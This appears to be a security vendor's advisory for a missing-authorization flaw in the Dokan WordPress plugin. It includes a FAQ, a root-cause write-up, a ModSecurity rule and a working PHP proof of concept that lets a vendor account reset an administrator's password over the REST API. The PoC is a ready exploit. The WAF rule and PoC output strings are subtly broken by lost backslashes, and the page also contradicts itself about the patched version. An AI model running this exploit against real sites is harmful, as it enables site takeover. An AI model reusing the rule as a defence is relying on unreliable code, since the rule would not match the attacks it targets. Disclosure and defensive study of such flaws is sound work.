What is CVE-2026-8761?

CVE-2026-8761 is a high-severity missing authorization vulnerability in the Dokan plugin for WordPress, affecting versions up to and including 5.0.2. It allows authenticated users with Vendor or Seller role to read, modify, or delete any WordPress user, including administrators, via the REST API.

How does the vulnerability work?

The Dokan plugin’s CustomersController REST controller re-registers WooCommerce customer routes under /dokan/v1/customers/ but uses a permission callback that only checks the requesting user’s role (vendor/seller) without validating the target user. This lets a vendor send GET, PUT, or DELETE requests to endpoints like /wp-json/dokan/v1/customers/{id} to manipulate any user account.

Who is affected by this vulnerability?

WordPress sites running Dokan plugin version 5.0.2 or earlier are affected. Attackers must have at least a Vendor or Seller account, which is often obtainable through self-registration if the store allows it. Any site with Dokan and WooCommerce is at risk.

How can I check if my site is vulnerable?

Check the Dokan plugin version in your WordPress admin under Plugins. If it is 5.0.2 or lower, your site is vulnerable. You can also review the REST API endpoints by logging in as a vendor and attempting to access /wp-json/dokan/v1/customers/1 to see if you can retrieve user data.

What is the CVSS score and what does it mean?

The CVSS score is 8.8, which is considered high. This means the vulnerability has a significant impact on confidentiality, integrity, and availability. Exploitation can lead to full site compromise, so immediate action is recommended.

How can I fix or mitigate this vulnerability?

Update the Dokan plugin to version 5.0.3 or later, which includes a patch for this issue. If you cannot update immediately, restrict vendor registration and disable vendor access to the REST API as a temporary measure. Also, monitor user activity for unauthorized changes.

What does the proof of concept demonstrate?

The PoC shows how a vendor can change an administrator’s password by sending a PUT request to the vulnerable endpoint. It uses basic authentication with vendor credentials and targets an admin user ID, setting a new password to gain admin access.

Can this vulnerability be exploited remotely?

Yes, the attack is performed over the network via HTTP requests to the WordPress REST API. An attacker only needs valid vendor credentials, which can be obtained remotely if self-registration is enabled. No other special access is required.

What is the root cause of the missing authorization?

The root cause is that the permission callback in the CustomersController only checks if the requesting user has a vendor/seller role, but does not verify if the target user is within their scope or if they have the necessary capability like manage_woocommerce. This allows any vendor to access any user.

What is the impact of successful exploitation?

An attacker can read sensitive user data, change user roles, reset passwords, or delete accounts. By changing an administrator’s password, they can take over the site, install malicious plugins, modify content, and potentially execute arbitrary code.

Are there any indicators of compromise to look for?

Look for unusual REST API requests to /dokan/v1/customers/ in server logs, especially from vendor accounts. Also check for unexpected password changes or user role modifications. Monitor for new admin accounts or changes to existing admin accounts.

What should I do if I suspect my site has been exploited?

Immediately change all admin passwords and force password resets for all users. Review user accounts for unauthorized changes. Update the Dokan plugin to the patched version. Consider restoring from a clean backup and audit your site for backdoors.

Published : August 5, 2026

CVE-2026-8761: Dokan <= 5.0.2 Missing Authorization to Authenticated (Vendor+) Privilege Escalation PoC, Patch Analysis & Rule

CVE ID CVE-2026-8761

Plugin dokan-lite

Severity High (CVSS 8.8)

CWE 862

Vulnerable Version <=5.0.2

Patched Version —

Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8761 (metadata-based):

This vulnerability affects the Dokan plugin for WordPress, versions up to and including 5.0.2. It is a Missing Authorization flaw (CWE-862) with a CVSS score of 8.8. The affected component is the `CustomersController` REST controller at `includes/REST/CustomersController.php`. This controller re-registers WooCommerce’s customer CRUD routes under the `/dokan/v1/customers/` namespace and replaces WooCommerce’s native `manage_woocommerce` capability check with a vendor-only check that inspects the requesting user’s role but never validates the target user. As a result, an authenticated attacker with Vendor/Seller-level access can read, modify, or delete any WordPress user, including administrators. Setting the `password` parameter on an administrator record leads to a full site takeover. Atomic Edge analysis confirms the vulnerability allows privilege escalation through the REST API, with high impact on confidentiality, integrity, and availability.

Root Cause:

The root cause is a missing authorization check in the `CustomersController` class. The controller registers REST routes for customer CRUD operations and calls a permission callback that only verifies the requesting user has a vendor/seller role. It does not check whether the target user ID belongs to the same vendor or whether the requestor has permission to manage that specific user. Atomic Edge analysis infers this from the CWE-862 classification and the vulnerability description. The description states the permission check inspects the requesting user’s role but never validates the target user. This is consistent with a common WordPress REST API authorization flaw where the permission callback returns true for any authenticated user with a certain role, regardless of the resource owner. The missing check likely applies to the `get_item`, `update_item`, and `delete_item` methods, since the description mentions GET, PUT, and DELETE requests. Atomic Edge analysis cannot confirm the exact code without a diff, but the described behavior is sufficient to identify the flaw.

Exploitation:

An attacker with Vendor/Seller-level access can exploit this vulnerability by sending authenticated HTTP requests to the Dokan REST API. The attack vector uses the standard WordPress REST API endpoint at `/wp-json/dokan/v1/customers/{id}`. For enumeration, the attacker issues a GET request to fetch the target user’s profile. For modification, the attacker sends a PUT request with JSON body containing the target user ID and desired fields, such as `email`, `role`, or `password`. Setting the `password` field on an administrator’s user record allows the attacker to change that administrator’s password and then log in as that administrator. For deletion, the attacker sends a DELETE request to the same endpoint with the target user ID. The attacker only needs a valid WooCommerce vendor or seller account, which is typically obtainable through self-registration if the store allows it. Atomic Edge analysis confirms that the attack does not require any nonce or additional privileges beyond the vendor role.

Remediation:

The fix likely requires adding proper authorization checks to the `CustomersController` REST permission callbacks. The permission callback should verify that the requesting user has the appropriate capability, such as `manage_woocommerce` or a capability that restricts access to only the vendor’s own customers. Additionally, the controller should validate that the target user ID belongs to the vendor or is otherwise permitted to be accessed. Atomic Edge analysis recommends implementing a capability check per request, maybe using `current_user_can` with a valid capability like `edit_users` or a custom vendor capability, and validating the target user exists. The patch released in version 5.0.3 presumably addresses this issue by adding these checks. Atomic Edge analysis cannot confirm the exact modification without the diff, but the remediation aligns with standard WordPress authorization patterns.

Impact:

Successful exploitation allows an authenticated Vendor/Seller to read, modify, or delete any user account, including administrators. Reading user data exposes sensitive profile information, such as email addresses, usernames, and hashed passwords. Modifying an administrator’s password allows the attacker to take over the administrator account and gain full control over the WordPress site, leading to arbitrary file upload, plugin installation, theme modification, and potentially remote code execution. Deleting users can cause denial of service and data loss. The CVSS vector indicates high impact on confidentiality, integrity, and availability with a score of 8.8. Atomic Edge analysis confirms this is a critical privilege escalation vulnerability that can result in complete site compromise.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-8761 (metadata-based)
# Block unauthenticated or vendor-level attempts to modify any user via Dokan's REST API
# The rule targets PUT/DELETE requests to /wp-json/dokan/v1/customers/{id} with a body containing password changes or role changes.
# It relies on the fact that legitimate vendor access should not be modifying arbitrary users.
SecRule REQUEST_URI "@rx ^/wp-json/dokan/v1/customers/d+$" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-8761 - Dokan customers REST API unauthorized modification',severity:'CRITICAL',tag:'CVE-2026-8761'"
    SecRule REQUEST_METHOD "@pm PUT DELETE" "chain"
        SecRule REQUEST_BODY "@rx (bpasswordb|broleb|bemailb)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8761 - Dokan <= 5.0.2 - Missing Authorization to Authenticated (Vendor+) Privilege Escalation

/**
 * This PoC exploits missing authorization in Dokan's REST CustomersController.
 * It assumes the attacker has valid Vendor/Seller credentials.
 * It demonstrates privilege escalation by changing an administrator's password.
 */

// CONFIGURATION
$target_url = 'https://example.com'; // Change to the target WordPress site URL
$username = 'vendor';                // Vendor/Seller username
$password = 'vendorpass';            // Vendor/Seller password
$admin_id = 1;                       // Target administrator user ID
$new_admin_password = 'PwnedPassword123!';

// 1. Obtain a nonce (not required for this REST endpoint, but for auth cookie we need to log in)
// We use the standard WordPress application password or cookie auth.
// For simplicity, we use Basic Auth (requires application password enabled) or cookie login.
// Replace this with actual authentication method available on target.

// Build the endpoint URL
$endpoint = $target_url . '/wp-json/dokan/v1/customers/' . $admin_id;

// Prepare payload
$payload = json_encode([
    'password' => $new_admin_password,
    'email' => 'attacker@example.com' // Optional: change email as well
]);

// Initialize cURL
$ch = curl_init();

// Set common options
curl_setopt_array($ch, [
    CURLOPT_URL => $endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_CUSTOMREQUEST => 'PUT',
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'Authorization: Basic ' . base64_encode($username . ':' . $password) // Basic Auth for API
    ],
    CURLOPT_POSTFIELDS => $payload
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check result
if ($http_code == 200) {
    echo "[+] Administrator password changed successfully.n";
    echo "[+] Log in as admin using password: $new_admin_passwordn";
} else {
    echo "[-] Exploitation failed. HTTP code: $http_coden";
    echo "Response: $responsen";
}

// Note: If Basic Auth is not enabled, you must first authenticate via wp-login.php
// and use the session cookie. Adjust the cURL options accordingly.

Frequently Asked Questions

What is CVE-2026-8761?
Vulnerability overview
CVE-2026-8761 is a high-severity missing authorization vulnerability in the Dokan plugin for WordPress, affecting versions up to and including 5.0.2. It allows authenticated users with Vendor or Seller role to read, modify, or delete any WordPress user, including administrators, via the REST API.
How does the vulnerability work?
Technical explanation
The Dokan plugin’s CustomersController REST controller re-registers WooCommerce customer routes under /dokan/v1/customers/ but uses a permission callback that only checks the requesting user’s role (vendor/seller) without validating the target user. This lets a vendor send GET, PUT, or DELETE requests to endpoints like /wp-json/dokan/v1/customers/{id} to manipulate any user account.
Who is affected by this vulnerability?
Affected users
WordPress sites running Dokan plugin version 5.0.2 or earlier are affected. Attackers must have at least a Vendor or Seller account, which is often obtainable through self-registration if the store allows it. Any site with Dokan and WooCommerce is at risk.
How can I check if my site is vulnerable?
Detection steps
Check the Dokan plugin version in your WordPress admin under Plugins. If it is 5.0.2 or lower, your site is vulnerable. You can also review the REST API endpoints by logging in as a vendor and attempting to access /wp-json/dokan/v1/customers/1 to see if you can retrieve user data.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 8.8, which is considered high. This means the vulnerability has a significant impact on confidentiality, integrity, and availability. Exploitation can lead to full site compromise, so immediate action is recommended.
How can I fix or mitigate this vulnerability?
Remediation steps
Update the Dokan plugin to version 5.0.3 or later, which includes a patch for this issue. If you cannot update immediately, restrict vendor registration and disable vendor access to the REST API as a temporary measure. Also, monitor user activity for unauthorized changes.
What does the proof of concept demonstrate?
PoC explanation
The PoC shows how a vendor can change an administrator’s password by sending a PUT request to the vulnerable endpoint. It uses basic authentication with vendor credentials and targets an admin user ID, setting a new password to gain admin access.
Can this vulnerability be exploited remotely?
Attack vector
Yes, the attack is performed over the network via HTTP requests to the WordPress REST API. An attacker only needs valid vendor credentials, which can be obtained remotely if self-registration is enabled. No other special access is required.
What is the root cause of the missing authorization?
Underlying issue
The root cause is that the permission callback in the CustomersController only checks if the requesting user has a vendor/seller role, but does not verify if the target user is within their scope or if they have the necessary capability like manage_woocommerce. This allows any vendor to access any user.
What is the impact of successful exploitation?
Consequences
An attacker can read sensitive user data, change user roles, reset passwords, or delete accounts. By changing an administrator’s password, they can take over the site, install malicious plugins, modify content, and potentially execute arbitrary code.
Are there any indicators of compromise to look for?
Detection clues
Look for unusual REST API requests to /dokan/v1/customers/ in server logs, especially from vendor accounts. Also check for unexpected password changes or user role modifications. Monitor for new admin accounts or changes to existing admin accounts.
What should I do if I suspect my site has been exploited?
Incident response
Immediately change all admin passwords and force password resets for all users. Review user accounts for unauthorized changes. Update the Dokan plugin to the patched version. Consider restoring from a clean backup and audit your site for backdoors.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started